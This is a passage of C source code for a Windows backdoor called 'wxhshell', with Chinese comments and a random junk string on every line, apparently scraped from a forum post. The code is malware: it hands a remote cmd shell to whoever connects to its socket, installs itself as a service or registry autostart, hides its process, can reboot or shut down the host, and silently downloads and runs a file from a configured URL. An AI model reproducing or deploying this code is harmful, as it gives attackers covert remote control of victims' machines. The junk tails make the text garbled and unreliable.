=%+O.  
    switch(cmd[0]) { Ccx1#^`  
  ?N/6m  
  // 帮助 b w2KD7  
  case '?': { bJ#]Xm(]D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g&oAa;~o  
    break; ;R x Rap  
  } r}]%(D](v  
  // 安装 l6O8:XI  
  case 'i': { DpZO$5.Ec+  
    if(Install()) a][QY1E@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '|JBA.s|  
    else jJOs`'~Q\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !0k'fYCa  
    break; D8S3YdJ  
    } p3R: 3E6p  
  // 卸载 svTKt%6X  
  case 'r': { ^^C@W?.z  
    if(Uninstall()) * c1)x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!C8@B$MR3  
    else 4>I >y@^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^w(~gQ6|mP  
    break; okv`+VeA  
    } (Sd8S`xO  
  // 显示 wxhshell 所在路径 4' MmT'  
  case 'p': { i`hr'}x  
    char svExeFile[MAX_PATH]; SWpvbs.'so  
    strcpy(svExeFile,"\n\r"); CW)JS3}W"  
      strcat(svExeFile,ExeFile); 2\/,X CQV  
        send(wsh,svExeFile,strlen(svExeFile),0);  5gZ6H/.  
    break; ]:X# w0UR  
    } Tb@r@j:V  
  // 重启 IqW4Q1>f  
  case 'b': { *~>} *  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zA g.,dA  
    if(Boot(REBOOT)) dr~6}S#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9z0G0QW[  
    else { 7u|X . X  
    closesocket(wsh); ooW;s<6  
    ExitThread(0); h]{V/  
    } O"6 (k{`  
    break; ZD(VH6<g%  
    } C ks;f6G  
  // 关机 tW)K pX  
  case 'd': { ;)'@kzi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B2/d%B  
    if(Boot(SHUTDOWN)) Q2(K+!Oe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/V>^9CZ  
    else { !`h^S)$  
    closesocket(wsh); >nqCUhS   
    ExitThread(0); iS]4F_|vd  
    } jr`;H  
    break; U-mZO7y!  
    } YooP HeQ  
  // 获取shell Vhi4_~W3j]  
  case 's': { DY(pU/q  
    CmdShell(wsh); h%*@82DKK  
    closesocket(wsh); (Q4hm]<  
    ExitThread(0); XGCjB{IV  
    break; $]`rWSYtv`  
  } R|u2ga ~  
  // 退出 HZJ)q`1E  
  case 'x': { j2GTo~muq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rQb=/@-  
    CloseIt(wsh); \fD)|   
    break; 5HqvSfq>?  
    } 0` y*7.Ip  
  // 离开 FJCLK#-  
  case 'q': { :I !}ZD+Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [0M`uf/u  
    closesocket(wsh); z9qF<m  
    WSACleanup(); d"0=.sA  
    exit(1); 5ca!JLs  
    break; 1&.q#,EMn(  
        } $c0<I59&|  
  } N7 ox#=g  
  } ]H$Trf:L  
Svl; Ul  
  // 提示信息 =73aME}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h; "pAE  
} F +Dke>j  
  } "PePiW(i+  
h7a/]~  
  return; w =2; QJ<  
} ~4V-{-=0a7  
XEe$Wh  
// shell模块句柄 # H)\ts  
int CmdShell(SOCKET sock) S\dG>F>S  
{ ya'Ma<4  
STARTUPINFO si; l&Cy K#B:\  
ZeroMemory(&si,sizeof(si)); R}E$SmFg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &y&pjo6v1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \`oP\|Z  
PROCESS_INFORMATION ProcessInfo; s/\<;g:u^  
char cmdline[]="cmd"; me+u"G9I;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8mM`v  
  return 0; Y~Z&h?H'}  
} m8,jVR  
K0'= O  
// 自身启动模式 TR&7AiqB  
int StartFromService(void) ' TO/i:{\  
{ 9  M90X8  
typedef struct [U@ ;EeS  
{ -2qI2Z  
  DWORD ExitStatus; H g04pZupN  
  DWORD PebBaseAddress; oH"VrS 6  
  DWORD AffinityMask; E0*62OI~O  
  DWORD BasePriority; ecMpU8}rR  
  ULONG UniqueProcessId; Ie7S'.Lmq  
  ULONG InheritedFromUniqueProcessId; !%/2^  
}   PROCESS_BASIC_INFORMATION; #B6$ r/%  
8'-E>+L   
PROCNTQSIP NtQueryInformationProcess; KSve_CBOh  
6ee1^>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rKkFflOVO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xk?Y  
XYze*8xUb  
  HANDLE             hProcess; j*_>/gi  
  PROCESS_BASIC_INFORMATION pbi; qoAJcr2uN  
U]PsL3:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kIJ=]wU|v  
  if(NULL == hInst ) return 0; _T(77KLn;  
-?L3"rxAP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #:E^($v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x }.&?m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ch'e'EmI  
]vjMfT%]W  
  if (!NtQueryInformationProcess) return 0; T?KM}<$(O  
},%, v2}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V(=3K"j  
  if(!hProcess) return 0; R,+"^:}  
"\O{!Hj8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J?/NJ-F  
nkkUby9  
  CloseHandle(hProcess); }*|aVBvU  
ZK`x(h{p)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )&[Zw{6P  
if(hProcess==NULL) return 0; wpf  
`,s0^?_  
HMODULE hMod; #&Fd16ov  
char procName[255]; T~naAP  
unsigned long cbNeeded; +a|u,'u  
asL!@YE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `^: v+!  
F> b<t.yV  
  CloseHandle(hProcess); *fp4u_:`  
tN_~zP  
if(strstr(procName,"services")) return 1; // 以服务启动 "u3 N9  
M5`wfF,j  
  return 0; // 注册表启动 v%)=!T ,  
} 7!A3PDAe  
CA3`Ee+rD  
// 主模块 6#Bg99c  
int StartWxhshell(LPSTR lpCmdLine) fl71{jJ_  
{ rW[7 _4  
  SOCKET wsl; )AXa.y  
BOOL val=TRUE; 2$O6%0  
  int port=0; :9W)CwZ)V  
  struct sockaddr_in door; W:1GY#Pe  
jF 6[+bW<  
  if(wscfg.ws_autoins) Install(); 66'AaA;0^i  
IRbZ ;*3dO  
port=atoi(lpCmdLine); 7,ffY/  
*]e 9/f  
if(port<=0) port=wscfg.ws_port; `r+`vJ$  
]64?S0p1c!  
  WSADATA data; Q@- h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H1e^/JD)  
k-8$ 43  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WO+_ |*&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4p]hY!7  
  door.sin_family = AF_INET; x<>In"QV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q&@q /9kz  
  door.sin_port = htons(port); Ombvp;  
h"(HDnq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9m}c2:p  
closesocket(wsl); =~ ="#  
return 1; aZL FsSY  
} .!Os'Y9[,  
=aRE  
  if(listen(wsl,2) == INVALID_SOCKET) { 4fau 9bW  
closesocket(wsl); |r/4 ({n  
return 1; cp 5  
} i]IZ0.?Y  
  Wxhshell(wsl); bEl)/z*gy/  
  WSACleanup(); q6zKyOE  
CDGN}Q2_  
return 0; u =|A  
"kkZK=}Nv  
} qW t 9Tr  
BZRC0^-C@  
// 以NT服务方式启动 r&D&xsbQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) so }Kb3n  
{ QW6\~l 4  
DWORD   status = 0; 6Ej@;]^^-  
  DWORD   specificError = 0xfffffff; xyRZ v]K1  
2w67 >w\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 84YZT+TEN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gf U!sYZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hh0a\%!  
  serviceStatus.dwWin32ExitCode     = 0; |d=MX>i|G  
  serviceStatus.dwServiceSpecificExitCode = 0; <rFKJ^B  
  serviceStatus.dwCheckPoint       = 0; J2Eb"y>/;  
  serviceStatus.dwWaitHint       = 0; -,} ppTG  
'E~[I"0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a[Oi  
  if (hServiceStatusHandle==0) return; \7A6+[ `fa  
roE*8:Y  
status = GetLastError(); AE&IN.-  
  if (status!=NO_ERROR) }|4dEao\  
{ jl~?I*Gr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ($Y6hn+  
    serviceStatus.dwCheckPoint       = 0; a%)-iL X8&  
    serviceStatus.dwWaitHint       = 0; |T^c(RpOE  
    serviceStatus.dwWin32ExitCode     = status; *8j2iu-|  
    serviceStatus.dwServiceSpecificExitCode = specificError; P]||Xbbp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X00!@ ^g  
    return; w|WehNGr  
  } b+ J)  
Vq1v e;(8s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kc-v(WIC  
  serviceStatus.dwCheckPoint       = 0; G9P)Y#WB  
  serviceStatus.dwWaitHint       = 0; nK5FPFz8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &[ 4lP~  
} Z}4 `y"By  
4O** %!|  
// 处理NT服务事件,比如:启动、停止 [G[|auKF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XhxCOpO  
{ ay,E!G&H  
switch(fdwControl) s7}46\/U  
{ RNn5,W  
case SERVICE_CONTROL_STOP: s6J`i&uu  
  serviceStatus.dwWin32ExitCode = 0; 8^%Nl `_2B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a5# B&|#q  
  serviceStatus.dwCheckPoint   = 0; U> s$}Y:+Z  
  serviceStatus.dwWaitHint     = 0; [p# }=&d  
  { yZ]u{LJS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JJ$q*  
  } 9Lv"|S`5W_  
  return; BV01&.<|  
case SERVICE_CONTROL_PAUSE: J)leRR&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Y}8)/Pud  
  break; 6!^&]4  
case SERVICE_CONTROL_CONTINUE: smN |r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #DFfySH)A  
  break; OFe?T\dQn  
case SERVICE_CONTROL_INTERROGATE: /htM/pR  
  break; f/6,b&l,  
}; CDTM<0`%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2RC|u?+@  
} 8RJ^e[?o(  
NLA/XZ  
// 标准应用程序主函数 W6 U**ir.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _]# ^2S  
{ zs~v6y@  
zwa%$U  
// 获取操作系统版本 K6l{wyMb|  
OsIsNt=GetOsVer(); ~t-!{F  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  *c6o#[l  
eAD uk!Iq  
  // 从命令行安装 j"c30AY  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1fzHmD  
l4+Bs!i`  
  // 下载执行文件 mE}@}@(  
if(wscfg.ws_downexe) { ^N\$oV$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HM(S}>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gn8'h TM  
} 1||\3L/  
#[C=LGi  
if(!OsIsNt) { _rU%DL?  
// 如果时win9x,隐藏进程并且设置为注册表启动 kg^VzNX  
HideProc(); qu:nV"~_  
StartWxhshell(lpCmdLine); F+3}Gkn  
} Lradyo44u\  
else .sOEqwO}>  
  if(StartFromService()) ?]]d s]  
  // 以服务方式启动 2)zAX"#/  
  StartServiceCtrlDispatcher(DispatchTable); C>:'@o Z  
else b,Vg3BS  
  // 普通方式启动 }[gk9uM_7  
  StartWxhshell(lpCmdLine); H${5pY_M  
Ghb Jty`  
return 0; J>XMaI})U  
}
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只看该作者 1 发表于: 2006-10-10
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